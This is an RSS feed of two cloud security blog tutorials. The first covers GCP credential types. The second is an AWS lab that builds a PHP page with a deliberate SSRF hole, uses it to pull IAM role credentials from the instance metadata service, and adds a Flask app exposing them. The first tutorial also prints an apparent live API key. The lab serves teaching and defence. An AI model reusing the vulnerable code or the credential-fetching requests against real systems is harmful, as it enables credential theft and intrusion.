<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cloud Security Pro on Medium]]></title>
        <description><![CDATA[Stories by Cloud Security Pro on Medium]]></description>
        <link>https://medium.com/@cloudsecuritypro?source=rss-23895307bebb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*j5rRDWTe1P3AAnweWxPZ2w.png</url>
            <title>Stories by Cloud Security Pro on Medium</title>
            <link>https://medium.com/@cloudsecuritypro?source=rss-23895307bebb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:59:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cloudsecuritypro/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Understanding GCP Credentials (API Keys, OAuth 2.0]]></title>
            <link>https://cloudsecuritypro.medium.com/understanding-gcp-credentials-as-new-cloud-security-engineer-6a4035790e79?source=rss-23895307bebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a4035790e79</guid>
            <dc:creator><![CDATA[Cloud Security Pro]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 15:22:02 GMT</pubDate>
            <atom:updated>2025-11-03T17:13:27.965Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding GCP Credentials (API Keys, OAuth 2.0 Client IDs &amp; Service Accounts) as new Cloud Security Engineer.</h3><p>One of the very first GCP cloud security fundamentals I found it helpful to learn was understanding the use cases of various GCP credentials. For someone new to GCP, especially coming from an AWS cloud practitioner background, GCP is slightly different. On top, Google has the Google Workspace &amp; the GCP side, which can be even more confusing. In this blog, I try to break all of these down to keep it as simple as I can, while also demonstrating actual “hands-on” use cases, because remember, the best way to learn is by getting your hands dirty.</p><p>Let’s start off with the GCP Vs. Google Workspace side. Not the most accurate comparison, but just like Amazon has the AWS cloud side and the e-commerce amazon[.]com where you purchase your stuffs (ie two separate accounts, at least nowadays), most organizations have the GCP side (which is typically what the “cloud” team handles and the Google Workspace (previously known as GSuite) side which usually the “IT” team handles.</p><p>Your IT team may own the Workspace “Admin” console ie admin.google.com for emails, Google Drive etc and the cloud team will own the GCP side ie console.cloud.google.com for the cloud assets.</p><p>Now the question remains, how the heck are GCP and the Google workspace related? For that, let’s go start at the very beginning.</p><p><strong>Let’s start a new Start-Up company called GCP Cloud Security:</strong></p><p>Assume I started a new startup where I have a few employees and want to build some automations. What do I need?</p><pre>1. A domain (for email, a website etc)<br>2. A Google Workspace account (for user management, Google drive etc)<br>3. A GCP account (for cloud assets, APIs, credentials etc) </pre><p>Let’s register a domain called gcpcloudsecurity.com (let’s use Squarespace, you can use any domain registar).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DmeE357WT9r7Cmda3WqM_Q.png" /></figure><p>Next, we’d have to sign up for a Google Workspace admin account using the email (Google workspace is free but for many features you need at least a Workspace Business Starter pack).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kwOkgpPhijnmQ3GWY2MsQ.png" /></figure><p>Please note: Signing up for a Google Workspace is different than signing up for a personal gmail account because for a company, Google workspace has many additional features. To learn more, you can Google it, pun intended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPzfKhEZTFyxta7Hr5PI5g.png" /></figure><p>Now, on the other hand, when you first access GCP using that Workspace admin account, Google automatically creates a GCP Organization node tied to the same domain. All GCP projects created under that domain are children of that Organization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fw2UWZ1y6jdyMpPJ.png" /></figure><p>But you may ask, “How”? Because: Google is one company. So even if it has the Google Workspace and the GCP side ie two platforms, they both use the same Google identity system. Google Workspace (formerly G Suite) manages people and identity for e.g. user@gcpcloudsecurity.com and Google Cloud Platform (GCP) manages projects, APIs, and infrastructure. Both rely on the same Google Identity service.</p><p>Now, its gets more interesting in an organization. Because, the GCP side also manages the “APIs &amp; Services” and “Credentials”. For example, a Google Workspace (ie IT) team may own the company’s Google Drive access management but let’s say someone has to “automate” some Google Drive tasks and for that they’d require some credentials, which can be created in the GCP console.</p><p><strong>Finally, let’s talk about the GCP APIs &amp; Credentials types:</strong></p><p>First thing first, let’s create a “Project” in GCP called “DriveAutomation”. Now, in Google Cloud Platform (GCP), a Project serves as the fundamental organizational unit for all your cloud resources. It acts as a logical container that groups together your applications, services, data, and configurations. It’s similar to an AWS Account. Then navigate to “API &amp; Services” within the Project. Then go to the “Credentials” tab like shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LUiVn9hIR4gxzumINA6keA.png" /></figure><p>You observe three Credentials type.</p><pre>1. API key<br>2. OAUth client ID<br>3. Service account</pre><p>First of all, all credentials are used for “Automations”. What I mean by that is, if you want to talk or access Google services without using a GCP console (ie a browser), you need some form of credentials. Here’s the simplest breakdown:</p><ol><li><em>API key</em>: simplest form of credential — they just identify the project calling an API, but they <em>don’t </em>identify a user or grant special Drive access. Just think this: You can use any Google maps in your iPhone, right? Now let’s say you want to call some APIs or do an automation for the Google Maps public data. You need a Google API key for that. That’s it!</li><li><em>OAuth 2.0 Client IDs</em><strong>:</strong> The simplest way to ask before using this is: Are you trying to access any human user’s data is data belonging to a Google user, like their email address or their Google Drive file? If yes, first of all you require an “user consent”. This will create an “OAuth client”. For eg, you can use this credentials for automating upload of files to a specific user’s Google Drive. (Don’t worry, you will understand more in the next “hands-on” section.)</li><li><em>Service Accounts</em>: Service accounts are similar to AWS long term, persistent “access keys”, in a way. Very powerful. This is useful for cases like accessing data belonging to your own Google application, such as Google Drive, a GCP Virtual Machine etc.</li></ol><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><p><strong>Let’s get our hands dirty</strong>: We’ll start off API key. First, create an API Key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*IjbvlWKjIrvMbGPOqbIYMg.png" /></figure><p>Optionally, you can narrow down the scope but that’s a little advanced and out of scope for this blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XagHJY09svfMr0cgmOcgDw.png" /></figure><p>Now let’s try it. Let’s try to call some Google Maps API. Remember, in GCP you have to explicitly enable API you want to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Db-vgsbhGe6ez_se6yHMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lmklCTIc1gAbQQLtriuICA.png" /></figure><p>And then simply call the API :)</p><pre>curl -o map.png &quot;https://maps.googleapis.com/maps/api/staticmap?center=New+York,NY&amp;zoom=13&amp;size=600x400&amp;key=YOUR_API_KEY&quot;<br>For example:<br>curl -o map.png &quot;https://maps.googleapis.com/maps/api/staticmap?center=New+York,NY&amp;zoom=13&amp;size=600x400&amp;key=AIzaSyDgklBRrvJQbz1noUlyDqmGOno_6Z8ehQM&quot;</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><p><strong>Next: Let’s try out the “OAuth 2.0 Client IDs</strong>”. Remember the APIs. Enable Google Drive API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QRJUwhlIUxpFWhWFd7gfAQ.png" /></figure><p>The next step is to Set Up OAuth Consent Screen. Go to APIs &amp; Services → OAuth consent screen and follow the steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*npLv4J8SSvjUyNWCb893qw.png" /></figure><p>Make sure to choose “Internal” audience. What this really means if if you will automate for your company’s users of external other users. External is really for apps like Facebook etc and it will needs a review by Google and is a long process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eV6ma-t12PZC7M5Nc10fgg.png" /></figure><p>Next, create OAuth Client &amp; Credentials. We will run automation from our laptop so just choose “Desktop app”. And give it some name (for eg <em>MyDesktopOAuth2Client</em>). Note: It may take 5 minutes to a few hours for settings to take effect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phCJuPkRwb3mXf1ucXhBLw.png" /></figure><p>Download the credentials (you will need this later). Please note this is sensitive and shouldn’t be shared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPmqcGpV4aWY-nra3SnCcg.png" /></figure><p>Next, we will run some automations from a Macbook to upload file test.txt from the laptop to the user’s Google Drive . Steps:</p><pre>mkdir projects/<br>cd projects<br>touch text.txt (create a test file to upload)<br>python3 -m venv env<br>source env/bin/activate<br>pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib<br><br>Note: Please ensure you save the credentials file you downloaded above and rename as credentials.json is in the same directory as the script.<br>Write a script eg: drive_upload.py below and run python3 drive_upload.py<br><br>--<br><br>from __future__ import print_function<br>import os.path<br>from google.auth.transport.requests import Request<br>from google.oauth2.credentials import Credentials<br>from google_auth_oauthlib.flow import InstalledAppFlow<br>from googleapiclient.discovery import build<br>from googleapiclient.http import MediaFileUpload<br><br># Upload access<br>SCOPES = [&#39;https://www.googleapis.com/auth/drive.file&#39;]<br><br>def main():<br>    creds = None<br>    if os.path.exists(&#39;token.json&#39;):<br>        creds = Credentials.from_authorized_user_file(&#39;token.json&#39;, SCOPES)<br>    if not creds or not creds.valid:<br>        if creds and creds.expired and creds.refresh_token:<br>            creds.refresh(Request())<br>        else:<br>            flow = InstalledAppFlow.from_client_secrets_file(<br>                &#39;credentials.json&#39;, SCOPES)<br>            creds = flow.run_local_server(port=0)<br>        with open(&#39;token.json&#39;, &#39;w&#39;) as token:<br>            token.write(creds.to_json())<br><br>    service = build(&#39;drive&#39;, &#39;v3&#39;, credentials=creds)<br><br>    # 🔽 Change this to any file you want to upload<br>    file_path = &#39;projects/test.txt&#39;  # example file<br>    file_metadata = {&#39;name&#39;: os.path.basename(file_path)}<br>    media = MediaFileUpload(file_path, resumable=True)<br><br>    file = service.files().create(<br>        body=file_metadata,<br>        media_body=media,<br>        fields=&#39;id, name, webViewLink&#39;<br>    ).execute()<br><br>    print(f&quot;✅ Uploaded: {file.get(&#39;name&#39;)}&quot;)<br>    print(f&quot;🌐 View: {file.get(&#39;webViewLink&#39;)}&quot;)<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>Now, when you run the first time it will redirect you to browser (This is what “consent” mean because as an user, you’d have to consent that the Desktop app us authorized to access your user data. After you consent it will generate a “token.json” locally and you should see a message in terminal too like:</p><pre><br>Please visit this URL to authorize this application: https://accounts.google.com/o/oauth2/auth?response_type=code&amp;client_id=xx.apps.googleusercontent.com&amp;redirect_uri=http%3A%2F%2Flocalhost%3A49279%2F&amp;scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive.file&amp;state=xx&amp;access_type=offline<br>✅ Uploaded: test.txt<br>🌐 View: https://drive.google.com/file/d/xxx/view?usp=drivesdk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zZyT3yxEWllklKCo.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NqKrK4XsuJwIk4VRCZ4RNw.png" /></figure><pre>Note for Advanced users:<br><br>When you authenticated the Desktop App in the browser, Google gave your app two tokens:<br><br>1. Access token → short-lived (~ 1 hour). Expires every ~1 hour. Automatically refreshed by the library (you don&#39;t need to do anything)<br><br>2. Refresh token → long-lived (used to get new access tokens automatically)<br>inside token.json. Stays valid indefinitely unless one of these happens. So, technically, inpractice, you don&#39;t need to reauthenticate in the browser unless you change scopes or stop using the app for several months. With an automatic refresh (the sample code already handles this line), every time you run your script, if the token is expired, it quietly renews it using the refresh token - no browser pop-up.<br>- You revoke access manually (check screenshot below) <br>- You delete the token.json<br>- The OAuth consent screen / scopes / credentials are changed in Cloud Console<br>- Google expires it after 6 months of inactivity<br><br><br>The sample #token.json looks like this below:<br><br>{<br>  &quot;token&quot;: &quot;ya29.a0ATi6K2uo4M5pW-I7oGFXZl0fW73TpXf_u3Xn9AP4tCx6xxxx&quot;,<br>  &quot;refresh_token&quot;: &quot;058VGYyrgxxxZEl_fAuvjovg&quot;,<br>  &quot;token_uri&quot;: &quot;https://oauth2.googleapis.com/token&quot;,<br>  &quot;client_id&quot;: &quot;324643883653-xxx.apps.googleusercontent.com&quot;,<br>  &quot;client_secret&quot;: &quot;xxxx&quot;,<br>  &quot;scopes&quot;: [<br>    &quot;https://www.googleapis.com/auth/drive.file&quot;<br>  ],<br>  &quot;universe_domain&quot;: &quot;googleapis.com&quot;,<br>  &quot;account&quot;: &quot;&quot;,<br>  &quot;expiry&quot;: &quot;2025-11-03T17:00:24Z&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2aG5Xg48nzHKR8ajJZg93w.png" /></figure><p>You should also observe the file successfully uploaded in the Google Drive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Y7UCeiAvzFSPvvmee7viA.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Next: Let’s try out the “Service Account</strong>”.</p><p>In general, you use a Service Account for server automation. For example, a script in an EC2 instance of a VM that runs unattended (e.g. uploads backups or logs). First, ensure the API you want to try is enabled. Next. create a service account: Google Cloud Console → IAM &amp; Admin → Service Accounts and assign name eg drive-automation and a permission (or a role). It will create an email and uniqueID for example:</p><pre>Email: drive-automation@driveautomation-46464.iam.gserviceaccount.com<br>Unique ID: 1007199801241083</pre><p>Next, create service account key (JSON).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*vJWPOXYuVyBemlB23LRPcA.png" /></figure><p>You can download the .json and like this:</p><pre>{<br>  &quot;type&quot;: &quot;service_account&quot;,<br>  &quot;project_id&quot;: &quot;driveautomation-444&quot;,<br>  &quot;private_key_id&quot;: &quot;77d62bde594501580f544asadd1&quot;,<br>  &quot;private_key&quot;: &quot;-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkdd=\n-----END PRIVATE KEY-----\n&quot;,<br>  &quot;client_email&quot;: &quot;drive-automation@driveautomation-444.iam.gserviceaccount.com&quot;,<br>  &quot;client_id&quot;: &quot;10071998012&quot;,<br>  &quot;auth_uri&quot;: &quot;https://accounts.google.com/o/oauth2/auth&quot;,<br>  &quot;token_uri&quot;: &quot;https://oauth2.googleapis.com/token&quot;,<br>  &quot;auth_provider_x509_cert_url&quot;: &quot;https://www.googleapis.com/oauth2/v1/certs&quot;,<br>  &quot;client_x509_cert_url&quot;: &quot;https://www.googleapis.com/robot/v1/metadata/x509/drive-automation%40driveautomation-444.iam.gserviceaccount.com&quot;,<br>  &quot;universe_domain&quot;: &quot;googleapis.com&quot;<br>}</pre><p>Next, grant the service account access to the Google Drive you want to automate. There are two main options:</p><p><strong>Option A (Recommended) </strong>: Shared Drive or specific folder. Share a folder in Google Drive with the service account email. The service account can only access files it owns or has been explicitly shared. For example in the screenshot below, I have a shared Google Drive which I shared with the Service account. Note down the “Folder ID” of the Shared folder ie String at end of URL.</p><p><strong>Option B </strong>: Domain-Wide Delegation (Admin Only). Needed if you want the service account to access user drives across your Workspace domain. Admin must enable Domain-Wide Delegation and grant Drive scopes. This is extremely powerful and not recommended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YXAC8iZqbsrt8Exd.png" /></figure><p>Now, let’s automate. Steps:</p><pre>mkdir projects/<br>cd projects<br>python3 -m venv env<br>source env/bin/activate<br>pip install --upgrade google-api-python-client google-auth google-auth-httplib2 google-auth-oauthlib<br><br>(Ensure the service-account.json downloaded above is there)<br>Create script: drive_service_upload.py <br>run python3 drive_service_upload.py<br><br>---<br>from google.oauth2 import service_account<br>from googleapiclient.discovery import build<br>from googleapiclient.http import MediaFileUpload<br>import os<br>import sys<br><br># -----------------------------<br># CONFIGURATION<br># -----------------------------<br>SERVICE_ACCOUNT_FILE = &#39;service-account.json&#39;<br>SCOPES = [&#39;https://www.googleapis.com/auth/drive.file&#39;]<br>SHARED_DRIVE_FOLDER_ID = &#39;0AJeFobhCqpZsUk9PVA&#39;<br>FILE_TO_UPLOAD = &#39;test.txt&#39;<br><br>if not os.path.exists(FILE_TO_UPLOAD):<br>    print(f&quot;❌ File not found: {FILE_TO_UPLOAD}&quot;)<br>    sys.exit(1)<br><br># -----------------------------<br># AUTHENTICATION<br># -----------------------------<br>credentials = service_account.Credentials.from_service_account_file(<br>    SERVICE_ACCOUNT_FILE, scopes=SCOPES<br>)<br>service = build(&#39;drive&#39;, &#39;v3&#39;, credentials=credentials)<br><br># -----------------------------<br># UPLOAD FILE TO SHARED DRIVE<br># -----------------------------<br>file_metadata = {<br>    &#39;name&#39;: os.path.basename(FILE_TO_UPLOAD),<br>    &#39;parents&#39;: [SHARED_DRIVE_FOLDER_ID]<br>}<br>media = MediaFileUpload(FILE_TO_UPLOAD, resumable=True)<br><br>file = service.files().create(<br>    body=file_metadata,<br>    media_body=media,<br>    fields=&#39;id, name, webViewLink&#39;,<br>    supportsAllDrives=True  # &lt;--- Important for Shared Drives<br>).execute()<br><br>print(f&quot;✅ Uploaded: {file.get(&#39;name&#39;)}&quot;)<br>print(f&quot;🌐 View: {file.get(&#39;webViewLink&#39;)}&quot;)</pre><p><strong>Now assume you want a domain wide delegation instead:</strong></p><p>Go to GCP → IAM &amp; Admin → Service Accounts → your account → Show Domain-Wide Delegation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-JCqUFbUQCzV0cRizOfvA.png" /></figure><p>The Google Workspace admin needs to enable this feature on their end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5-ntlBQM6G0FSgbd.png" /></figure><p>Next, let’s automate the action for an actual user:</p><pre>---<br>#drive_service_upload2.py<br><br><br>from google.oauth2 import service_account<br>from googleapiclient.discovery import build<br>from googleapiclient.http import MediaFileUpload<br>import os<br>import sys<br><br># -----------------------------<br># CONFIGURATION<br># -----------------------------<br>SERVICE_ACCOUNT_FILE = &#39;service-account.json&#39;<br>SCOPES = [&#39;https://www.googleapis.com/auth/drive&#39;]<br>USER_EMAIL = &#39;user1@gcpcloudsecurity.com&#39;  # Replace with actual user to impersonate<br>FILE_TO_UPLOAD = &#39;test.txt&#39;<br><br># Check file exists<br>if not os.path.exists(FILE_TO_UPLOAD):<br>    print(f&quot;❌ File not found: {FILE_TO_UPLOAD}&quot;)<br>    sys.exit(1)<br><br># -----------------------------<br># AUTHENTICATION (Domain-Wide Delegation)<br># -----------------------------<br>try:<br>    credentials = service_account.Credentials.from_service_account_file(<br>        SERVICE_ACCOUNT_FILE, scopes=SCOPES<br>    )<br>    delegated_credentials = credentials.with_subject(USER_EMAIL)<br>    service = build(&#39;drive&#39;, &#39;v3&#39;, credentials=delegated_credentials)<br>except Exception as e:<br>    print(f&quot;❌ Failed to authenticate service account: {e}&quot;)<br>    sys.exit(1)<br><br># -----------------------------<br># UPLOAD FILE<br># -----------------------------<br>try:<br>    file_metadata = {&#39;name&#39;: os.path.basename(FILE_TO_UPLOAD)}<br>    media = MediaFileUpload(FILE_TO_UPLOAD, resumable=True)<br><br>    file = service.files().create(<br>        body=file_metadata,<br>        media_body=media,<br>        fields=&#39;id, name, webViewLink&#39;<br>    ).execute()<br><br>    print(f&quot;✅ Uploaded: {file.get(&#39;name&#39;)}&quot;)<br>    print(f&quot;🌐 View: {file.get(&#39;webViewLink&#39;)}&quot;)<br><br>except Exception as e:<br>    print(f&quot;❌ Failed to upload file: {e}&quot;)<br>    sys.exit(1)<br><br><br><br><br># python3 drive_service_upload2.py<br>✅ Uploaded: test.txt<br>🌐 View: https://drive.google.com/file/d/1KBBHDqwVl/view?usp=drivesdk</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a4035790e79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to create an EC2 WebServer with SSRF to try AWS iMDSv1 exploit (& bonus iMDSv2 exploit)?]]></title>
            <link>https://cloudsecuritypro.medium.com/how-to-create-an-ec2-webserver-with-ssrf-to-test-ec2-imdsv1-exploit-b38bebd3ab98?source=rss-23895307bebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/b38bebd3ab98</guid>
            <dc:creator><![CDATA[Cloud Security Pro]]></dc:creator>
            <pubDate>Fri, 24 Jan 2025 15:48:19 GMT</pubDate>
            <atom:updated>2025-01-27T13:41:51.214Z</atom:updated>
            <content:encoded><![CDATA[<p>OK! I am sure you have heard about the benefits of enforcing iMDSv2 in AWS and the risks iMDSV1 has by now, especially if you are in the cloud security space. This article if for newbies (like me) who are curious and like to understand stuffs by doing things. In this article I will show you a simple way to create an EC2 with a WebServer (PHP) that has iMDSv1 enabled and has SSRF, that can be exploited. I have tons of other articles in the “Reference” section if you want to read more.</p><p><em>IMPORTANT NOTE: This lab should never be performed in your production or work environment and has real risks. Please ensure you understand what you are performing.</em></p><p><strong>Step1: Launch an EC2</strong>. I will spin up an Ubuntu with public IP &amp; a security group and an IAM EC2 instance profile (role) attached.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifUsx5hx5XKuXsmutf_KDg.png" /></figure><p>In the security group, you just need an inbound port 80 to test (highlighted in the screenshot). It’s best to allow only your known IPs instead of allowing 0.0.0.0/0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HURxUu8t8ZvcGc37YtifKA.png" /></figure><p>In the IAM role attached to the EC2, I have left the policy blank intentionally because the exploit will reveal some secrets that will allow access to whatever permissions the role has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6Olz5cu0qtWSkxxE2zK2A.png" /></figure><p>We will ensure the EC2 has iMDS enabled &amp; iMDSv2 “optional” ie iMDSV1 is allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d6BqvUZ5Elvglk8YZeO9sA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ix7fBwCWn8N5g8u2WFcofA.png" /></figure><p>Next, let’s login to the EC2 and call the iMDSv1 metadata. This information technically is designed (&amp; supposed) to be accessible only from the EC2.</p><pre>curl http://169.254.169.254/latest/meta-data/iam/info/  --&gt; Note the InstanceProfileArn Name<br>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;InstanceProfileName&gt;/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaLusCyqTpjJ-gE_NshQwA.png" /></figure><p><strong>Step2: Create a web server in the EC2. </strong>We will use PHP.<strong> </strong>Here are the commands:</p><pre>sudo su -<br>sudo apt update &amp;&amp; sudo apt upgrade -y<br>sudo apt install apache2 php libapache2-mod-php -y<br>sudo a2enmod php<br>cd /var/www/html<br>rm index.html<br>vi index.php (&amp; paste the code below and save it)<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;SSRF Test Page&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;SSRF Test Page&lt;/h1&gt;<br>    &lt;form method=&quot;get&quot; action=&quot;&quot;&gt;<br>        URL: &lt;input type=&quot;text&quot; name=&quot;url&quot; placeholder=&quot;http://example.com&quot;&gt;&lt;br&gt;&lt;br&gt;<br>        &lt;input type=&quot;submit&quot; name=&quot;submit_ssrf&quot; value=&quot;Fetch URL&quot;&gt;<br>    &lt;/form&gt;<br>    &lt;h3&gt;Results:&lt;/h3&gt;<br>    &lt;pre&gt;<br>&lt;?php<br>if (isset($_GET[&#39;submit_ssrf&#39;])) {<br>    $url = $_GET[&#39;url&#39;]; // User-provided URL<br><br>    if (!empty($url)) {<br>        echo &quot;Fetching: &quot; . htmlspecialchars($url) . &quot;\n\n&quot;;<br>        // Fetch the content from the provided URL<br>        echo file_get_contents($url);<br>    } else {<br>        echo &quot;No URL provided.&quot;;<br>    }<br>}<br>?&gt;<br>    &lt;/pre&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br><br><br>sudo systemctl restart apache2</pre><p><strong>Step3: Test ride time</strong>! Note the public IP of your EC2 and from a browser (or terminal using curl), access the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GwYJ443Z5jfmC_hlTE3SrQ.png" /></figure><p>Now, in the URL put the URL that you used to call AWS EC2 instance metadata from inside the EC2 in Step1 i.e.</p><pre>First: http://169.254.169.254/latest/meta-data/iam/security-credentials/ --&gt; This should give you a role name<br>Next: http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;EC2-IAM-Role-Name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OoHASUEOdm7xHjDws65ljw.png" /></figure><p>Step4: <strong>The (quick) fix.</strong> Well, first of all the issue is the web server code. However, if you had iMDSv1 required, it would have prevented the SSRF exploit. Let’s try it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjnEdpO_CevEOoO_2DWXmA.png" /></figure><p>And, now ride again time.. and the web page doesn’t fetch the credentials now. That’s because iMDSv2 requires a “TOKEN” value to be provided and the web server can’t get the token value to pass it to fetch the EC2 metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkqCZJlxBi7NRDcBG6WqyA.png" /></figure><p>Let’s also try to call the EC2 instance metadata from inside the EC2 to confirm, using both iMDSv1 and iMDSv2 methods:</p><pre>Using iMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;IAM-Role-Name&gt;<br><br>Using iMDSv2: TOKEN=`curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;` \<br>&amp;&amp; curl -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;IAM-Role-Name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8VfnpPw6V4JvZajPthROcA.png" /></figure><p><strong>Food for thought: </strong>Well, you could argue and say “Can’t I convert the iMDSv2 request to an URL and enter in the web page and exploit?” Is iMDv2 the solution to all similar SSRF? The answer is:</p><p>To use the iMDSv2 command, we used in the EC2 CLI as a single URL that can be entered from a webpage (e.g., in a browser or a tool that supports it), you would need to utilize the query string format and encode the necessary data. However, this exact request involves HTTP methods (PUT and headers) and is not directly transferable to a single URL for browsers since browsers generally only support GET requests directly via the address bar. To support such requests into a web application or API client, it would require:</p><ol><li>First, use the PUT request to fetch the token programmatically.</li><li>Then, use the token in a subsequent GET request.</li></ol><p>Fortunately, there’s no straightforward way to convert this into a single “<em>clickable URL</em>” because of the required HTTP headers and the PUT method for token generation. However, if there was an application, with a backend process to handle the token generation and metadata retrieval, then present the result as a simple URL, it would work. BUT… it also needs the code to <em>intentionally </em>allow such requests. Just for fun let’s try to build an application that allows fetching iMDSv2 requests. For that, let’s create a Python app in the Ubuntu EC2 using commands:</p><pre>sudo su -<br>apt install python3 python3-pip -y<br>python3 --version<br>pip3 --version<br>apt install python3.12-venv<br><br>python3 -m venv my_flask_env<br>source my_flask_env/bin/activate<br>pip install flask<br>pip install requests<br>vi iMDSExploit.py (&amp; paste the code below but replace the &lt;Replace-with-Role-Name&gt; and save it )<br><br>------<br>from flask import Flask, jsonify, request<br>import requests<br><br>app = Flask(__name__)<br><br>METADATA_BASE_URL = &quot;http://169.254.169.254/latest&quot;<br><br>@app.route(&#39;/get-iam-credentials&#39;, methods=[&#39;GET&#39;])<br>def get_iam_credentials():<br>    try:<br>        # Step 1: Get the token<br>        token_url = f&quot;{METADATA_BASE_URL}/api/token&quot;<br>        headers = {&#39;X-aws-ec2-metadata-token-ttl-seconds&#39;: &#39;21600&#39;}<br>        response = requests.put(token_url, headers=headers)<br>        response.raise_for_status()<br>        token = response.text<br><br>        # Step 2: Use the token to get IAM credentials<br>        metadata_url = f&quot;{METADATA_BASE_URL}/meta-data/iam/security-credentials/&lt;Replace-with-Role-Name&gt;&quot;<br>        headers = {&#39;X-aws-ec2-metadata-token&#39;: token}<br>        metadata_response = requests.get(metadata_url, headers=headers)<br>        metadata_response.raise_for_status()<br><br>        return jsonify(metadata_response.json())<br><br>    except Exception as e:<br>        return jsonify({&#39;error&#39;: str(e)}), 500<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=5000)<br>-----<br><br><br>python iiMDSExploit.py</pre><p>Next, let’s access the app from a web browser. (Note: You’d need to allow port 5000 inbound to the EC2).</p><pre>URL: http://&lt;EC2-IP&gt;:5000/get-iam-credentials</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CeUObo2dR7o5x_SN-oa5zw.png" /></figure><p><strong>References</strong>:</p><ol><li><a href="https://aws.amazon.com/blogs/security/get-the-full-benefits-of-imdsv2-and-disable-imdsv1-across-your-aws-infrastructure/">https://aws.amazon.com/blogs/security/get-the-full-benefits-of-imdsv2-and-disable-imdsv1-across-your-aws-infrastructure/</a></li><li><a href="https://www.yassineaboukir.com/blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/">https://www.yassineaboukir.com/blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/</a></li><li><a href="https://slack.engineering/our-journey-migrating-to-aws-imdsv2/">https://slack.engineering/our-journey-migrating-to-aws-imdsv2/</a></li></ol><img 